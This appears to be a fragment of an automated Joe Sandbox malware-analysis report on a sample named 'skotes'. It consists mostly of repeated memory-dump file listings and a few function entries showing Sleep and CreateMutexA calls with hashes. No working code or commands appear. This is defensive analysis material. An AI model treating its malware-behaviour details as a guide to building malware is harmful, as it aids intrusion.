Associated: 00000003.00000002.2409425696.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409452632.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409474141.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409495445.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409516026.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409536884.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409556051.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409578574.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409599207.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409619605.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409639563.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409663553.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409690289.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409718407.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409736977.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409758448.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409778684.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409797010.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409822148.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409843309.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409864117.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409883383.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409903538.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409922643.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409941428.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409963110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409993331.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410014022.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410014022.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410067755.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410087426.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410110222.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410131581.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410155664.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410175016.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410197376.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410221979.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410243346.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: d57e8ad4d855891864bfe1710418944845467fe6642f2a257c5f6bc1eb6d247d
Instruction ID: 1655da2d65e56cfdab507179e13cb82df93270c050094c29530c875d21dada86
Opcode Fuzzy Hash: d57e8ad4d855891864bfe1710418944845467fe6642f2a257c5f6bc1eb6d247d
Instruction Fuzzy Hash: 0B312571704204DBEB18EB78DC897AEB7B2ABC6310F208318E014972D6D77D9980C761

Function 007A9F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 007AA963
CreateMutexA.KERNELBASE(00000000,00000000,00803254), ref: 007AA981

Memory Dump Source

Source File: 00000003.00000002.2408823354.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000003.00000002.2408792917.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408823354.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408892818.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408913501.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408938688.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408964315.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408990879.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409265626.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409291889.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409322059.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409322059.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409370945.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409393922.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409425696.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409452632.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409474141.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409495445.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409516026.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409536884.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409556051.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409578574.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409599207.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409619605.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409639563.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409663553.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409690289.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409718407.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409736977.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409758448.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409778684.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409797010.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409822148.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409843309.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409864117.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409883383.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409903538.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409922643.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409941428.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409963110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409993331.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410014022.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410014022.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410067755.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410087426.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410110222.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410131581.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410155664.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410175016.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410197376.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410221979.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410243346.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: ae0f031fc338fd76125566ec4c1b1ac859e812a37c87eac59743ea66cf1634c7
Instruction ID: 5a2a15cf9dfb116f1021cf4f175e0c38e3c4df06a8bc497e63592d27063d5c63
Opcode Fuzzy Hash: ae0f031fc338fd76125566ec4c1b1ac859e812a37c87eac59743ea66cf1634c7
Instruction Fuzzy Hash: 59310531704104EBEB18DB68D8897ADB7A2EBCA310F244719E018DB2D6E77E9984C752

Function 007AA079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 007AA963
CreateMutexA.KERNELBASE(00000000,00000000,00803254), ref: 007AA981

Memory Dump Source

Source File: 00000003.00000002.2408823354.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000003.00000002.2408792917.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408823354.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408892818.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408913501.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408938688.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408964315.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408990879.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409265626.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409291889.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409322059.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409322059.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409370945.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409393922.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409425696.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409452632.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409474141.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409495445.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409516026.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409536884.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409556051.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409578574.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409599207.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409619605.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409639563.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409663553.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409690289.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409718407.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409736977.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409758448.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409778684.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409797010.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409822148.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409843309.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409864117.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409883383.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409903538.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409922643.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409941428.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409963110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409993331.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410014022.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410014022.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410067755.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410087426.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410110222.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410131581.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410155664.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410175016.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410197376.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410221979.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410243346.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: b57e90990fd430b34e06edce74f095d75f086e8323d155887abc786651ff5f23
Instruction ID: d589f8d84a7e2b3adbb97a92c6402cbcb9f650e5efb2b633526d34b278a93162
Opcode Fuzzy Hash: b57e90990fd430b34e06edce74f095d75f086e8323d155887abc786651ff5f23
Instruction Fuzzy Hash: EF310731710104ABEB18DBA8CC89BAEB772EBC6310F244319E014973D6E77E9980C722

Function 007AA1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 007AA963
CreateMutexA.KERNELBASE(00000000,00000000,00803254), ref: 007AA981

Memory Dump Source

Source File: 00000003.00000002.2408823354.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000003.00000002.2408792917.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408823354.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408892818.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408913501.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408938688.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408964315.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408990879.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409265626.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409291889.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409322059.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409322059.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409370945.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409393922.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409425696.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409452632.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409474141.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409495445.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409516026.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409536884.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409556051.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409578574.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409599207.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409619605.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409639563.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409663553.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409690289.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409718407.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409736977.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409758448.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409778684.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409797010.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409822148.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409843309.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409864117.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409883383.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409903538.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409922643.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409941428.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409963110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409993331.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410014022.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410014022.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410067755.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410087426.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410110222.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410131581.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410155664.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410175016.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410197376.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410221979.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410243346.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: e864fd08ffb7ddbbd32d66de4bbe43c5847e732ab854e4a570e9fffe94d85420
Instruction ID: f1f130be35d39c60ffb6a5264c82796195f5c9ee2266385025d2e30653395838
Opcode Fuzzy Hash: e864fd08ffb7ddbbd32d66de4bbe43c5847e732ab854e4a570e9fffe94d85420
Instruction Fuzzy Hash: BF31D531B04145EBEB18DBA8DC8D7ADB776ABCB310F244319E014972D6E77E9984C722

Function 007AA418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 007AA963
CreateMutexA.KERNELBASE(00000000,00000000,00803254), ref: 007AA981

Memory Dump Source

Source File: 00000003.00000002.2408823354.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000003.00000002.2408792917.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408823354.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408892818.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408913501.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408938688.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408964315.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408990879.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409265626.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409291889.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409322059.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409322059.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409370945.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409393922.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409425696.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409452632.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409474141.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409495445.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409516026.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409536884.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409556051.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409578574.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409599207.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409619605.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409639563.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409663553.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409690289.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409718407.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409736977.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409758448.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409778684.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409797010.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409822148.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409843309.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409864117.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409883383.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409903538.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409922643.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409941428.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409963110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409993331.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410014022.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410014022.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410067755.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410087426.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410110222.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410131581.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410155664.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410175016.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410197376.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410221979.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410243346.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 5999425962d84214d1f644f4a760448944e14ae770d834757f1042ab23906ab8
Instruction ID: 16d3f6a38d04cbf7cae4c4bba154dc471ec937930ae3bf1263447c2a7b904f65
Opcode Fuzzy Hash: 5999425962d84214d1f644f4a760448944e14ae770d834757f1042ab23906ab8
Instruction Fuzzy Hash: 6131F531B04244EBEB189BA8D88D7ADB671AFCA314F204319E054972D6E77D9980C762

Function 007AA54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 007AA963
CreateMutexA.KERNELBASE(00000000,00000000,00803254), ref: 007AA981

Memory Dump Source

Source File: 00000003.00000002.2408823354.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000003.00000002.2408792917.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
